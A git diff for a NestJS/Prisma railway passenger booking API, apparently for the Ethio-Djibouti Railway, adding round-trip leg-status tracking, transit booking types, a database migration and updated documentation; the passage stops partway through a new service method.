diff --git a/.gitignore b/.gitignore index 6cd576171..bb9b43556 100644 --- a/.gitignore +++ b/.gitignore @@ -28,6 +28,3 @@ coverage/ *~ \#*\# .\#* -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat diff --git a/apps/edr-passenger-api/.env.example b/apps/edr-passenger-api/.env.example index b2500160d..482a0df2c 100644 --- a/apps/edr-passenger-api/.env.example +++ b/apps/edr-passenger-api/.env.example @@ -130,6 +130,13 @@ FAYDA_SESSION_TTL_MINUTES=10 GITHUB_PACKAGE_TOKEN= +# --- Notification broker (RabbitMQ) ----------------------------------------------------------------- +# Set RABBITMQ_ENABLED=false to skip connection entirely (dev without a local broker). +RABBITMQ_ENABLED=false +RABBITMQ_URL=amqp://localhost:5672 +EMAIL_QUEUE=email_queue +SMS_QUEUE=sms_queue + # --- Payment event consumer (RabbitMQ) ------------------------------------------------------- # Consumes payment.succeeded / payment.failed events from the payment microservice. Separate # from any RABBITMQ_URL used by the IAM/notification modules so the two connections are diff --git a/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql new file mode 100644 index 000000000..e93fb8320 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260625_add_return_leg_status/migration.sql @@ -0,0 +1,18 @@ +-- CreateEnum +CREATE TYPE "passenger"."ReturnLegStatus" AS ENUM ('NOT_APPLICABLE', 'BOTH_USED', 'OUTBOUND_ONLY', 'INBOUND_ONLY', 'NEITHER_USED'); + +-- AlterTable: add return leg tracking columns to Booking +ALTER TABLE "passenger"."Booking" + ADD COLUMN "returnLegStatus" "passenger"."ReturnLegStatus" NOT NULL DEFAULT 'NOT_APPLICABLE', + ADD COLUMN "outboundBoardedAt" TIMESTAMP(3), + ADD COLUMN "returnBoardedAt" TIMESTAMP(3); + +-- Set NEITHER_USED for existing confirmed round-trip bookings +UPDATE "passenger"."Booking" +SET "returnLegStatus" = 'NEITHER_USED' +WHERE "bookingType" = 'ROUND_TRIP' + AND "status" IN ('CONFIRMED', 'COMPLETED'); + +-- AlterTable: add leg column to GateValidationLog +ALTER TABLE "passenger"."GateValidationLog" + ADD COLUMN "leg" TEXT; diff --git a/apps/edr-passenger-api/prisma/schema.prisma b/apps/edr-passenger-api/prisma/schema.prisma index b2259a448..1b98bd3e1 100644 --- a/apps/edr-passenger-api/prisma/schema.prisma +++ b/apps/edr-passenger-api/prisma/schema.prisma @@ -115,6 +115,16 @@ enum BookingStatus { @@schema("passenger") } +enum ReturnLegStatus { + NOT_APPLICABLE // one-way booking + BOTH_USED // passenger used both legs + OUTBOUND_ONLY // return leg not used (no-show on return) + INBOUND_ONLY // outbound leg not used, return leg used + NEITHER_USED // neither leg boarded yet + + @@schema("passenger") +} + enum PaymentRegion { ETHIOPIA DJIBOUTI @@ -364,7 +374,8 @@ model TrainSchedule { originStation Station @relation("OriginTrips", fields: [originStationId], references: [id]) destinationStation Station @relation("DestinationTrips", fields: [destinationStationId], references: [id]) coachAssignments CoachAssignment[] - bookings Booking[] + bookings Booking[] @relation("OutboundSchedule") + returnBookings Booking[] @relation("ReturnSchedule") stopTimes TripStopTime[] liveStatus TripLiveStatus? menuItems MenuItem[] @@ -511,6 +522,19 @@ model Booking { returnDestinationStationId String? returnHoldId String? returnSeatClassId String? + returnLegStatus ReturnLegStatus @default(NOT_APPLICABLE) + // Transit leg-2 fields (single-booking transit) + leg2ScheduleId String? + leg2OriginStationId String? + leg2DestinationStationId String? + leg2SeatClassId String? + // Round-trip transit: return journey transit fields + returnLeg2ScheduleId String? + returnLeg2OriginStationId String? + returnLeg2DestStationId String? + returnLeg2SeatClassId String? + outboundBoardedAt DateTime? + returnBoardedAt DateTime? contactEmail String? contactPhone String? userAgent String? @@ -520,7 +544,8 @@ model Booking { createdAt DateTime @default(now()) updatedAt DateTime @updatedAt passenger Passenger @relation(fields: [passengerId], references: [id]) - schedule TrainSchedule @relation(fields: [scheduleId], references: [id]) + schedule TrainSchedule @relation("OutboundSchedule", fields: [scheduleId], references: [id]) + returnSchedule TrainSchedule? @relation("ReturnSchedule", fields: [returnScheduleId], references: [id]) seats BookingSeat[] paymentIntent PaymentIntent? ticket Ticket? @@ -539,6 +564,8 @@ model BookingSeat { id String @id @default(uuid()) bookingId String seatId String + leg Int @default(1) // 1=outbound/leg-1, 2=return/leg-2 + scheduleId String? // which schedule this seat belongs to passengerName String dateOfBirth DateTime? passengerCategory PassengerCategory @default(ADULT) @@ -1159,6 +1186,7 @@ model GateValidationLog { ticketId String validatorId String gateId String? + leg String? // 'OUTBOUND' | 'RETURN' โ€” for round-trip tickets status String reason String? validatedAt DateTime @default(now()) diff --git a/apps/edr-passenger-api/src/main.ts b/apps/edr-passenger-api/src/main.ts index f1972b0e6..298e37c01 100644 --- a/apps/edr-passenger-api/src/main.ts +++ b/apps/edr-passenger-api/src/main.ts @@ -34,19 +34,23 @@ async function bootstrap() { ## Overview Enterprise-grade REST API for the Ethio-Djibouti Railway passenger booking and management platform. Built with NestJS, TypeScript, PostgreSQL, and Prisma ORM. -## ๐Ÿ†• Latest Updates -- **Sequence Ordering:** Stations and coaches now sorted by sequence field for consistent UI display -- **User Profile Data:** Gender, DOB, passport, and national ID fields for comprehensive passenger profiles -- **Seat Class Fees:** Premium charges and insurance fees per seat class for transparent pricing -- **Booking Types:** Support for ONE_WAY and ROUND_TRIP booking categories -- **Multi-Currency Display:** Bookings track display currency and converted amounts -- **Ticket Lifecycle:** Tickets now include validatedAt and boardedAt timestamps for complete audit trail +## Latest Updates +- **Round-Trip Leg Tracking:** returnLegStatus on every booking tracks outbound/return leg usage (NEITHER_USED, OUTBOUND_ONLY, INBOUND_ONLY, BOTH_USED). Gate validation accepts a leg field (OUTBOUND or RETURN). +- **Auto No-Show Detection:** Cron marks OUTBOUND_ONLY 30 min after return departure when return leg was never scanned. +- **Offline Batch Validation:** validateOfflineBatch now accepts leg per entry and handles both legs of a round-trip in one batch. +- **Booking Filters:** GET /bookings now accepts ?returnLegStatus= to filter no-show/inbound-only cases in back-office. +- **Sequence Ordering:** Stations and coaches now sorted by sequence field for consistent UI display. +- **User Profile Data:** Gender, DOB, passport, and national ID fields for comprehensive passenger profiles. +- **Seat Class Fees:** Premium charges and insurance fees per seat class for transparent pricing. +- **Booking Types:** Support for ONE_WAY and ROUND_TRIP booking categories. +- **Multi-Currency Display:** Bookings track display currency and converted amounts. +- **Ticket Lifecycle:** Tickets now include validatedAt, outboundBoardedAt, returnBoardedAt for complete audit trail. ## Key Features -### ๐ŸŽซ Booking Lifecycle +### Booking Lifecycle - Search trips with real-time availability -- Age-based passenger categorization (Adult โ‰ฅ5 years, Child <5 years) +- Age-based passenger categorization (Adult 5+ years, Child under 5) - Nationality-based verification (Ethiopian Fayda, International Passport) - Passenger information collection with verification - Coach and seat selection with real-time availability @@ -55,130 +59,129 @@ Enterprise-grade REST API for the Ethio-Djibouti Railway passenger booking and m - Modify bookings (seat changes, passenger updates) - Cancel bookings with automatic refunds - Multi-segment journey support -- Cross-border journeys via Dire Dawa transit (Ethiopia โ†’ Djibouti) +- Cross-border journeys via Dire Dawa transit (Ethiopia to Djibouti) - Round-trip booking with return journey scheduling - Coach type selection with seat class and pricing options -- **NEW:** Booking type tracking (ONE_WAY vs ROUND_TRIP) -- **NEW:** Display currency and converted pricing per booking +- NEW: Booking type tracking (ONE_WAY vs ROUND_TRIP) +- NEW: Display currency and converted pricing per booking +- NEW: returnLegStatus field tracks which legs of a round-trip were used +- NEW: GET /bookings?returnLegStatus=OUTBOUND_ONLY filters no-show returns in back-office -### ๐Ÿ‘ค Passenger Verification -1. **Ethiopian Nationals:** -- Automatic Fayda verification for adults (โ‰ฅ5 years) +### Passenger Verification +1. Ethiopian Nationals: +- Automatic Fayda verification for adults (5+ years) - Real-time national ID verification via government database - Retrieves verified passenger data (name, DOB, gender) - National IDs not stored (policy compliant) -2. **International Passengers:** +2. International Passengers: - Passport information collection - Manual verification for Djiboutian and other nationals - No government database verification required -### ๐Ÿ’ฐ Age-Based Pricing -- **ADULT** (โ‰ฅ5 years): Pay 100% of base fare -- **CHILD** (<5 years): First child travels FREE, subsequent children pay 100% +### Age-Based Pricing +- ADULT (5+ years): Pay 100% of base fare +- CHILD (under 5): First child travels FREE, subsequent children pay 100% - Automatic age calculation from date of birth -- Example: 2 adults + 3 children = 4ร— base fare (first child free) -- **NEW:** Premium charges and insurance fees per seat class -- **NEW:** Transparent fee breakdown in pricing calculations +- Example: 2 adults + 3 children = 4x base fare (first child free) +- NEW: Premium charges and insurance fees per seat class +- NEW: Transparent fee breakdown in pricing calculations -### ๐Ÿ’ณ Payment Integration -1. **Ethiopian Payment Methods:** -- **Telebirr** - Ethiopia's leading mobile money -- **CBE Birr** - Commercial Bank of Ethiopia +### Payment Integration +1. Ethiopian Payment Methods: Telebirr, CBE Birr +2. Djiboutian Payment Methods: Waafi +3. International Payment Methods: Card, Wallet -2. **Djiboutian Payment Methods:** -- **Waafi** - Djibouti's mobile money service - -3. **International Payment Methods:** -- **Card** - International card payments (Visa, Mastercard) -- **Wallet** - Internal wallet system - -### ๐Ÿช‘ Seat Management +### Seat Management - Real-time seat availability by coach and class - Seat holds with 15-minute expiry - Auto-assign seats with contiguous algorithm - Seat blocking for maintenance - Coach-level seat maps (ordered by sequence) - Class-based seating (Economy Regular, Economy Bed, VIP Bed) -- **NEW:** Sequence-based coach ordering for consistent display +- NEW: Sequence-based coach ordering for consistent display -### ๐ŸŽŸ๏ธ Ticketing +### Ticketing - QR code and barcode generation - PDF ticket generation - Gate validation with audit logs - Offline validation support - Multi-passenger tickets -- **NEW:** Ticket lifecycle tracking (validatedAt, boardedAt timestamps) -- **NEW:** Complete audit trail for compliance and reporting +- NEW: Ticket lifecycle tracking (validatedAt, outboundBoardedAt, returnBoardedAt timestamps) +- NEW: Gate validation accepts leg (OUTBOUND or RETURN) for round-trip tickets +- NEW: Complete audit trail per leg for compliance and reporting -### ๐Ÿ† Loyalty Program -- 4 tiers: Bronze, Silver, Gold, Platinum -- Points accumulation on trips -- Reward redemption -- Tier-based benefits +### Round-Trip Leg Tracking (NEW) +- returnLegStatus on Booking: NOT_APPLICABLE, NEITHER_USED, OUTBOUND_ONLY, INBOUND_ONLY, BOTH_USED +- Gate validation POST /tickets/:ref/validate accepts optional leg field (OUTBOUND or RETURN) +- Auto no-show cron: sets OUTBOUND_ONLY 30 min after return departure when return leg unscanned +- Back-office filter: GET /bookings?returnLegStatus=OUTBOUND_ONLY surfaces no-shows +- Offline batch: validateOfflineBatch accepts leg per entry, handles both legs of same booking -### ๐Ÿ’ฐ Wallet System -- Top-up via payment methods -- Pay with wallet balance -- Transaction ledger -- Refund to wallet - -### ๐Ÿ“ Live Tracking -- Real-time trip status -- Location updates -- Delay notifications -- Station crowd signals - -### ๐Ÿ”’ Fraud Detection -- Velocity checks (multiple bookings) -- High-value transaction monitoring -- Failed payment pattern detection -- Automatic user blocking - -### ๐Ÿ‘ค Passenger Profiles -- Comprehensive profile data: gender, date of birth, nationality -- National ID for Ethiopian citizens (Fayda verified) -- Passport information for international passengers -- **NEW:** Complete demographic data for personalized services -- **NEW:** Improved user targeting and communications - -### ๐ŸŒ Internationalization -- Multi-language support (English, Amharic, French, Oromo) -- Locale-based responses -- Currency formatting (ETB, DJF, USD) -- **NEW:** Multi-currency display per booking (ETB, DJF, USD) - -### ๐ŸšŒ Transit Stop Management -- Automatic detection of cross-border journeys (Ethiopia โ†’ Djibouti) -- Dire Dawa as mandatory transit hub for international journeys -- Dual-leg fare calculation (domestic + international) -- Age-based pricing applied independently per leg -- Seamless multi-segment booking workflow -- Transit stop optimization and route planning - -### ๐Ÿ”„ Round-Trip Booking +### Round-Trip Booking - One-way and round-trip journey options - Flexible return date selection - Combined pricing for outbound + return legs - Separate seat management per leg - Independent modification/cancellation per leg - Return journey tracking and notifications -- **NEW:** Booking type stored for analytics and reporting +- NEW: Booking type stored for analytics and reporting -### ๐Ÿš Coach Type & Class Selection -- Browse available coach types per route (standard coaches, premium coaches) +### Loyalty Program +- 4 tiers: Bronze, Silver, Gold, Platinum +- Points accumulation on trips +- Reward redemption +- Tier-based benefits + +### Wallet System +- Top-up via payment methods +- Pay with wallet balance +- Transaction ledger +- Refund to wallet + +### Live Tracking +- Real-time trip status +- Location updates +- Delay notifications +- Station crowd signals + +### Fraud Detection +- Velocity checks (multiple bookings) +- High-value transaction monitoring +- Failed payment pattern detection +- Automatic user blocking + +### Passenger Profiles +- Comprehensive profile data: gender, date of birth, nationality +- National ID for Ethiopian citizens (Fayda verified) +- Passport information for international passengers +- NEW: Complete demographic data for personalized services + +### Internationalization +- Multi-language support (English, Amharic, French, Oromo) +- Locale-based responses +- Currency formatting (ETB, DJF, USD) +- NEW: Multi-currency display per booking (ETB, DJF, USD) + +### Transit Stop Management +- Automatic detection of cross-border journeys (Ethiopia to Djibouti) +- Dire Dawa as mandatory transit hub for international journeys +- Dual-leg fare calculation (domestic + international) +- Age-based pricing applied independently per leg +- Seamless multi-segment booking workflow + +### Coach Type & Class Selection +- Browse available coach types per route - View seat classes per coach (Economy Regular, Economy Bed, VIP Bed) - Compare base prices by coach type and class - Real-time availability per coach configuration -- Deferred pricing at seat selection stage -- Coach amenities and features display -- **NEW:** Sequence-based coach ordering for consistent UI -- **NEW:** Premium and insurance fee transparency per class +- NEW: Sequence-based coach ordering for consistent UI +- NEW: Premium and insurance fee transparency per class -### ๐Ÿ“Š Data Organization -- **Stations:** Ordered by sequence (1-15) for consistent route display -- **Coaches:** Ordered by sequence (1+) per type for predictable configuration -- **Booking History:** Sorted chronologically with filtering options +### Data Organization +- Stations ordered by sequence (1-15) for consistent route display +- Coaches ordered by sequence (1+) per type for predictable configuration +- Booking history sorted chronologically with filtering options ## Authentication @@ -202,7 +205,7 @@ Used for agent, fraud, and reporting endpoints. Requires corporate IAM token. ### Step 3: Passenger Information & Verification **For Ethiopian Passengers:** -\`POST /passengers/verify-fayda\` - Automatic Fayda verification for adults (โ‰ฅ5 years) +\`POST /passengers/verify-fayda\` - Automatic Fayda verification for adults (5+ years) **For International Passengers:** \`POST /passengers/register-international\` - Passport information collection @@ -265,7 +268,7 @@ Payment providers send notifications to: .addTag("Agents", "Counter booking, shift management, commission tracking, and reconciliation") .addTag("Audit", "User activity logging, system changes, compliance tracking, and audit trails") .addTag("Auth", "Passenger registration, login, OTP, password reset, and profile management") - .addTag("Booking", "Complete booking lifecycle: create, modify, cancel, guest checkout") + .addTag("Booking", "Complete booking lifecycle: create, modify, cancel, guest checkout. Supports returnLegStatus filter for round-trip no-show management") .addTag("Config", "System settings, feature flags, and configuration management") .addTag("Currencies", "Multi-currency support, exchange rates, and currency conversion") .addTag("Dashboard", "Home screen aggregations: trips, loyalty, wallet, notifications") @@ -291,7 +294,7 @@ Payment providers send notifications to: .addTag("Segment-based Seats", "Multi-leg journey seats, segment allocation, and per-leg availability") .addTag("Stations", "Station directory, location data, baggage facilities, and amenities") .addTag("Support", "FAQ management, search, live chat conversations, and ticket resolution") - .addTag("Tickets", "QR/barcode generation, PDF tickets, gate validation, and audit trails") + .addTag("Tickets", "QR/barcode generation, PDF tickets, gate validation with per-leg tracking (OUTBOUND/RETURN), and audit trails") .addTag("Transit Stops", "Cross-border journey management, Dire Dawa hub, multi-leg routing (NEW)") .addTag("Wallet", "Balance management, top-ups, withdrawals, and transaction ledger") //.addServer('http://localhost:4000', 'Development') diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts index 9622fa656..561e36c43 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts @@ -75,21 +75,24 @@ export class BookingsController { @Get() @ApiOperation({ summary: 'List all bookings with filters (Admin/Agent)', - description: 'Returns paginated list of bookings with search and status filters' + description: 'Returns paginated list of bookings. Use `returnLegStatus=OUTBOUND_ONLY` to find round-trip no-shows on the return leg, `INBOUND_ONLY` for passengers who only used the return leg, `BOTH_USED` for fully completed round-trips, and `NEITHER_USED` for confirmed but not yet boarded.' }) @ApiQuery({ name: 'search', required: false, description: 'Search by booking reference, email, or phone' }) @ApiQuery({ name: 'status', required: false, description: 'Filter by booking status' }) + @ApiQuery({ name: 'returnLegStatus', required: false, description: 'Filter round-trip leg usage: NEITHER_USED | OUTBOUND_ONLY | INBOUND_ONLY | BOTH_USED | NOT_APPLICABLE' }) @ApiQuery({ name: 'page', required: false, description: 'Page number' }) @ApiQuery({ name: 'pageSize', required: false, description: 'Items per page' }) findAll( @Query('search') search?: string, @Query('status') status?: string, + @Query('returnLegStatus') returnLegStatus?: string, @Query('page') page?: string, @Query('pageSize') pageSize?: string, ) { return this.service.findAll({ search, - status, + status, + returnLegStatus, page: page ? parseInt(page) : 1, pageSize: pageSize ? parseInt(pageSize) : 20 }); diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts index 875bf40a2..a5ebf717c 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.dto.ts @@ -5,6 +5,7 @@ import { Currency, IdDocumentType } from '@prisma/client'; export class PassengerInputDto { @ApiProperty() @IsString() seatId: string; + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Seat ID on leg-2 schedule' }) @IsOptional() @IsString() leg2SeatId?: string; @ApiProperty({ example: 'Abebe Kebede' }) @IsString() passengerName: string; @ApiProperty({ example: '1990-05-15', description: 'Date of birth (YYYY-MM-DD) for age calculation. Age <5 = CHILD (first free), Age โ‰ฅ5 = ADULT (full fare)' }) @IsDateString() dateOfBirth: string; @ApiProperty({ example: 'NATIONAL_ID', enum: IdDocumentType, description: 'NATIONAL_ID for Ethiopians (Verifayda verified), PASSPORT for others' }) @IsEnum(IdDocumentType) idDocumentType: IdDocumentType; @@ -15,17 +16,17 @@ export class PassengerInputDto { } export class RoundTripPassengerDto { - @ApiProperty({ - description: 'Outbound journey seat ID', - example: 'seat-uuid-outbound' - }) + @ApiProperty({ description: 'Outbound journey seat ID', example: 'seat-uuid-outbound' }) @IsString() outboundSeatId: string; - @ApiProperty({ - description: 'Return journey seat ID', - example: 'seat-uuid-return' - }) + @ApiProperty({ description: 'Return journey seat ID', example: 'seat-uuid-return' }) @IsString() returnSeatId: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Outbound leg-2 seat ID' }) + @IsOptional() @IsString() outboundLeg2SeatId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat ID' }) + @IsOptional() @IsString() returnLeg2SeatId?: string; @ApiProperty({ example: 'Abebe Kebede', @@ -92,8 +93,8 @@ export class CreateBookingDto { @ApiProperty({ example: 'ONE_WAY', - enum: ['ONE_WAY', 'ROUND_TRIP'], - description: `Booking type:\n\n**ONE_WAY:**\n- Single journey from origin to destination\n- Uses: scheduleId, holdId, originStationId, destinationStationId, seatClassId\n- passengers: PassengerInputDto[] with seatId\n\n**ROUND_TRIP:**\n- Outbound + return journey with single PNR\n- Uses all outbound fields PLUS return fields\n- passengers: RoundTripPassengerDto[] with outboundSeatId and returnSeatId\n- Combined fare calculation with single payment`, + enum: ['ONE_WAY', 'ROUND_TRIP', 'TRANSIT', 'ROUND_TRIP_TRANSIT'], + description: `Booking type:\n\n**ONE_WAY:** Single journey\n\n**ROUND_TRIP:** Outbound + return, single PNR\n\n**TRANSIT:** Single journey via connecting train, single PNR, single ticket\n\n**ROUND_TRIP_TRANSIT:** Round trip where one or both directions use a connecting train`, default: 'ONE_WAY' }) @IsOptional() @IsString() bookingType?: string; @@ -114,31 +115,52 @@ export class CreateBookingDto { @ApiPropertyOptional({ example: 'DJF', enum: Currency, description: 'Display currency for fare breakdown (ETB, DJF, USD). Transaction always in ETB.' }) @IsOptional() @IsEnum(Currency) displayCurrency?: Currency; - // Round-trip specific fields - @ApiPropertyOptional({ - description: '**ROUND_TRIP ONLY:** Return schedule ID (required when bookingType=ROUND_TRIP)' - }) + // Transit-specific fields + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 schedule ID' }) + @IsOptional() @IsString() leg2ScheduleId?: string; + + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 seat hold ID' }) + @IsOptional() @IsString() leg2HoldId?: string; + + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Transit (connecting) station UUID' }) + @IsOptional() @IsString() transitStationId?: string; + + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 destination station UUID' }) + @IsOptional() @IsString() leg2DestinationStationId?: string; + + @ApiPropertyOptional({ description: '**TRANSIT / ROUND_TRIP_TRANSIT:** Leg-2 seat class ID (defaults to outbound seatClassId)' }) + @IsOptional() @IsString() leg2SeatClassId?: string; + + // Round-trip transit: return direction transit fields + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-1 schedule ID' }) @IsOptional() @IsString() returnScheduleId?: string; - - @ApiPropertyOptional({ - description: '**ROUND_TRIP ONLY:** Return origin station ID (usually same as outbound destination)' - }) + + @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return origin station ID' }) @IsOptional() @IsString() returnOriginStationId?: string; - - @ApiPropertyOptional({ - description: '**ROUND_TRIP ONLY:** Return destination station ID (usually same as outbound origin)' - }) + + @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return destination station ID' }) @IsOptional() @IsString() returnDestinationStationId?: string; - - @ApiPropertyOptional({ - description: '**ROUND_TRIP ONLY:** Return seat hold ID (required when bookingType=ROUND_TRIP)' - }) + + @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return seat hold ID' }) @IsOptional() @IsString() returnHoldId?: string; - - @ApiPropertyOptional({ - description: '**ROUND_TRIP ONLY:** Return seat class ID (optional, defaults to outbound seatClassId if not provided)' - }) + + @ApiPropertyOptional({ description: '**ROUND_TRIP / ROUND_TRIP_TRANSIT:** Return seat class ID' }) @IsOptional() @IsString() returnSeatClassId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 schedule ID' }) + @IsOptional() @IsString() returnLeg2ScheduleId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat hold ID' }) + @IsOptional() @IsString() returnLeg2HoldId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return transit (connecting) station UUID' }) + @IsOptional() @IsString() returnTransitStationId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 destination station UUID' }) + @IsOptional() @IsString() returnLeg2DestinationStationId?: string; + + @ApiPropertyOptional({ description: '**ROUND_TRIP_TRANSIT:** Return leg-2 seat class ID' }) + @IsOptional() @IsString() returnLeg2SeatClassId?: string; } export class ModifyBookingDto { diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts index a588e7330..bce07b915 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.module.ts @@ -7,9 +7,10 @@ import { GuestBookingService } from './guest-booking.service'; import { SeatsModule } from '../seats/seats.module'; import { VerifaydaModule } from '../verifayda/verifayda.module'; import { CurrencyModule } from '../currency/currency.module'; +import { FareEngineModule } from '../fare-engine/fare-engine.module'; @Module({ - imports: [AuditModule, SeatsModule, VerifaydaModule, CurrencyModule, HttpModule], + imports: [AuditModule, SeatsModule, VerifaydaModule, CurrencyModule, FareEngineModule, HttpModule], controllers: [BookingsController], providers: [BookingsService, GuestBookingService], exports: [BookingsService, GuestBookingService] diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index 7a52f8422..3e0d6a61a 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -6,6 +6,7 @@ import { CreateBookingDto, ModifyBookingDto } from './bookings.dto'; import { Cron, CronExpression } from '@nestjs/schedule'; import { VerifaydaService } from '../verifayda/verifayda.service'; import { CurrencyService } from '../currency/currency.service'; +import { FareEngineService } from '../fare-engine/fare-engine.service'; import { Currency, PassengerCategory, IdDocumentType } from '@prisma/client'; function generateRef(): string { @@ -24,6 +25,7 @@ function calculateAge(dateOfBirth: Date): number { interface BookingFilters { search?: string; status?: string; + returnLegStatus?: string; page?: number; pageSize?: number; } @@ -36,6 +38,7 @@ export class BookingsService { private eventEmitter: EventEmitter2, private verifaydaService: VerifaydaService, private currencyService: CurrencyService, + private fareEngine: FareEngineService, ) {} async findByPassengerId(passengerId: string, filters: BookingFilters = {}) { @@ -82,6 +85,8 @@ export class BookingsService { displayTotalMinor: booking.displayTotalMinor, adultCount: booking.adultCount, childCount: booking.childCount, + bookingType: booking.bookingType, + returnLegStatus: (booking as any).returnLegStatus ?? null, createdAt: booking.createdAt, schedule: { train: booking.schedule.train, @@ -159,6 +164,8 @@ export class BookingsService { displayTotalMinor: booking.displayTotalMinor, adultCount: booking.adultCount, childCount: booking.childCount, + bookingType: booking.bookingType, + returnLegStatus: (booking as any).returnLegStatus ?? null, createdAt: booking.createdAt, schedule: { train: booking.schedule.train, @@ -180,7 +187,7 @@ export class BookingsService { } async findAll(filters: BookingFilters = {}) { - const { search, status, page = 1, pageSize = 20 } = filters; + const { search, status, returnLegStatus, page = 1, pageSize = 20 } = filters; const skip = (page - 1) * pageSize; const where: any = {}; @@ -194,9 +201,8 @@ export class BookingsService { ]; } - if (status) { - where.status = status; - } + if (status) where.status = status; + if (returnLegStatus) where.returnLegStatus = returnLegStatus; const [items, total] = await Promise.all([ this.prisma.booking.findMany({ @@ -225,6 +231,8 @@ export class BookingsService { displayTotalMinor: booking.displayTotalMinor, contactEmail: booking.contactEmail, contactPhone: booking.contactPhone, + bookingType: booking.bookingType, + returnLegStatus: (booking as any).returnLegStatus ?? null, createdAt: booking.createdAt, passenger: booking.passenger?.user, schedule: { @@ -246,9 +254,9 @@ export class BookingsService { } async create(dto: CreateBookingDto) { - if (dto.bookingType === 'ROUND_TRIP') { - return this.createRoundTripBooking(dto); - } + if (dto.bookingType === 'ROUND_TRIP') return this.createRoundTripBooking(dto); + if (dto.bookingType === 'TRANSIT') return this.createTransitBooking(dto); + if (dto.bookingType === 'ROUND_TRIP_TRANSIT') return this.createRoundTripTransitBooking(dto); return this.createOneWayBooking(dto); } @@ -391,22 +399,42 @@ export class BookingsService { returnDestinationStationId: dto.returnDestinationStationId, returnHoldId: dto.returnHoldId, returnSeatClassId: dto.returnSeatClassId, + returnLegStatus: 'NEITHER_USED', seats: { - create: passengersData.map(p => ({ - seat: { connect: { id: p.outboundSeatId } }, - passengerName: p.passengerName, - dateOfBirth: p.dateOfBirth, - passengerCategory: p.category, - idDocumentType: p.idDocumentType, - passportNumber: p.passportNumber, - passportCountry: p.passportCountry, - verifaydaVerified: p.verifaydaVerified, - verifaydaData: p.verifaydaData, - fareMinor: p.category === PassengerCategory.ADULT ? (outboundFare.baseFareMinor + returnFare.baseFareMinor) : 0, - displayCurrency - })) - } - }, + create: [ + ...passengersData.map(p => ({ + seat: { connect: { id: p.outboundSeatId } }, + leg: 1, + scheduleId: dto.scheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData, + fareMinor: p.category === PassengerCategory.ADULT ? outboundFare.baseFareMinor : (outboundFare.paidChildrenCount > 0 ? outboundFare.baseFareMinor : 0), + displayCurrency, + })), + ...passengersData.map(p => ({ + seat: { connect: { id: p.returnSeatId } }, + leg: 2, + scheduleId: dto.returnScheduleId, + passengerName: p.passengerName, + dateOfBirth: p.dateOfBirth, + passengerCategory: p.category, + idDocumentType: p.idDocumentType, + passportNumber: p.passportNumber, + passportCountry: p.passportCountry, + verifaydaVerified: p.verifaydaVerified, + verifaydaData: p.verifaydaData, + fareMinor: p.category === PassengerCategory.ADULT ? returnFare.baseFareMinor : (returnFare.paidChildrenCount > 0 ? returnFare.baseFareMinor : 0), + displayCurrency, + })), + ], + }, + } as any, include: { seats: { include: { seat: true } }, schedule: { include: { originStation: true, destinationStation: true, train: true } } } }); @@ -436,6 +464,302 @@ export class BookingsService { }; } + private async createTransitBooking(dto: CreateBookingDto) { + if (!dto.leg2ScheduleId || !dto.leg2HoldId || !dto.transitStationId || !dto.leg2DestinationStationId) { + throw new BadRequestException('leg2ScheduleId, leg2HoldId, transitStationId and leg2DestinationStationId are required for TRANSIT bookings'); + } + + const [leg1Hold, leg2Hold] = await Promise.all([ + this.prisma.seatHold.findUnique({ where: { id: dto.holdId } }), + this.prisma.seatHold.findUnique({ where: { id: dto.leg2HoldId } }), + ]); + if (!leg1Hold || leg1Hold.expiresAt < new Date()) throw new BadRequestException('Leg-1 seat hold expired'); + if (!leg2Hold || leg2Hold.expiresAt < new Date()) throw new BadRequestException('Leg-2 seat hold expired'); + + const [leg1Schedule, leg2Schedule] = await Promise.all([ + this.prisma.trainSchedule.findUnique({ + where: { id: dto.scheduleId }, + include: { 